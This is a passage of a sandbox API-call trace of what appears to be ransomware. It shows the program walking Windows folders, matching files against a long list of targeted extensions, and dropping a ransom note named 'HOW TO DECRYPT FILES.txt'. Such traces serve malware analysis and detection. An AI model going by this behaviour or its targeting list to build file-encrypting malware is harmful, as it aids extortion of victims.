(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0103.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0103.107] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9a3e90, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1e9a3e90, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1e9c9ff0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x34800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.107] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.108] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x456a9d00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x456a9d00, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x456a9d00, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="93fe067cc61ce46daac39dfb9a5e0ec2", cAlternateFileName="93FE06~1")) returned 1 [0103.108] lstrcmpA (lpString1=".", lpString2="93fe067cc61ce46daac39dfb9a5e0ec2") returned -1 [0103.108] lstrcmpA (lpString1="..", lpString2="93fe067cc61ce46daac39dfb9a5e0ec2") returned -1 [0103.108] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.108] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="93fe067cc61ce46daac39dfb9a5e0ec2" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2" [0103.108] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x456a9d00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x456a9d00, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x456a9d00, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.109] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.109] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x456a9d00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x456a9d00, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x456a9d00, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.109] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.109] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.109] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45683ba0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x45683ba0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x45683ba0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.109] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.110] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll") returned -1 [0103.110] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll") returned -1 [0103.110] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll") returned -1 [0103.110] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\*.*") returned="*.*" [0103.110] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\" [0103.110] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\") returned="" [0103.110] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\HOW TO DECRYPT FILES.txt" [0103.110] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\how to decrypt files.txt")) returned 0xffffffff [0103.110] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.133] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.135] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.135] CloseHandle (hObject=0x90) returned 1 [0103.136] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll" [0103.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0103.136] lstrlenA (lpString="*.ems") returned 5 [0103.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.db") returned 0 [0103.136] lstrlenA (lpString="*.db") returned 4 [0103.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.136] lstrlenA (lpString="*.dbf") returned 5 [0103.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0103.136] lstrlenA (lpString="*.myox") returned 6 [0103.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0103.136] lstrlenA (lpString="*.myo") returned 5 [0103.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.136] lstrlenA (lpString="*.qbw") returned 5 [0103.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.136] lstrlenA (lpString="*.qbb") returned 5 [0103.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.137] lstrlenA (lpString="*.qbm") returned 5 [0103.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.137] lstrlenA (lpString="*.qbo") returned 5 [0103.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.137] lstrlenA (lpString="*.qbx") returned 5 [0103.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0103.137] lstrlenA (lpString="*.qba") returned 5 [0103.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0103.137] lstrlenA (lpString="*.qby") returned 5 [0103.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.137] lstrlenA (lpString="*.qbj") returned 5 [0103.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.137] lstrlenA (lpString="*.ofx") returned 5 [0103.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0103.137] lstrlenA (lpString="*.qif") returned 5 [0103.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0103.137] lstrlenA (lpString="*.mye") returned 5 [0103.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.138] lstrlenA (lpString="*.mbox") returned 6 [0103.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.138] lstrlenA (lpString="*.eml") returned 5 [0103.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0103.138] lstrlenA (lpString="*.pst") returned 5 [0103.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0103.138] lstrlenA (lpString="*.ost") returned 5 [0103.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0103.138] lstrlenA (lpString="*.idx") returned 5 [0103.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.139] lstrlenA (lpString="*.dbx") returned 5 [0103.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0103.139] lstrlenA (lpString="*.sql") returned 5 [0103.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.139] lstrlenA (lpString="*.mdb") returned 5 [0103.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.139] lstrlenA (lpString="*.fdb") returned 5 [0103.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0103.139] lstrlenA (lpString="*.wab") returned 5 [0103.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0103.139] lstrlenA (lpString="*.dat") returned 5 [0103.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0103.139] lstrlenA (lpString="*.txt") returned 5 [0103.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.139] lstrlenA (lpString="*.jpeg") returned 6 [0103.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.139] lstrlenA (lpString="*.jpg") returned 5 [0103.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.png") returned 0 [0103.140] lstrlenA (lpString="*.png") returned 5 [0103.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.php") returned 0 [0103.140] lstrlenA (lpString="*.php") returned 5 [0103.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0103.140] lstrlenA (lpString="*.cs") returned 4 [0103.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.140] lstrlenA (lpString="*.cpp") returned 5 [0103.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0103.140] lstrlenA (lpString="*.rar") returned 5 [0103.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0103.140] lstrlenA (lpString="*.zip") returned 5 [0103.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.html") returned 0 [0103.140] lstrlenA (lpString="*.html") returned 6 [0103.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0103.140] lstrlenA (lpString="*.htm") returned 5 [0103.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.140] lstrlenA (lpString="*.xlsx") returned 6 [0103.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0103.141] lstrlenA (lpString="*.xls") returned 5 [0103.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.141] lstrlenA (lpString="*.mp4") returned 5 [0103.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.141] lstrlenA (lpString="*.ppt") returned 5 [0103.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.141] lstrlenA (lpString="*.pptx") returned 6 [0103.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0103.141] lstrlenA (lpString="*.doc") returned 5 [0103.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0103.141] lstrlenA (lpString="*.dot") returned 5 [0103.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0103.141] lstrlenA (lpString="*.docx") returned 6 [0103.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0103.141] lstrlenA (lpString="*.7z") returned 4 [0103.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0103.141] lstrlenA (lpString="*.tar") returned 5 [0103.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.141] lstrlenA (lpString="*.bz2") returned 5 [0103.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0103.142] lstrlenA (lpString="*.gz") returned 4 [0103.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.142] lstrlenA (lpString="*.mkv") returned 5 [0103.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.142] lstrlenA (lpString="*.eml") returned 5 [0103.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0103.142] lstrlenA (lpString="*.msg") returned 5 [0103.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\93fe067cc61ce46daac39dfb9a5e0ec2\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.edb") returned 0 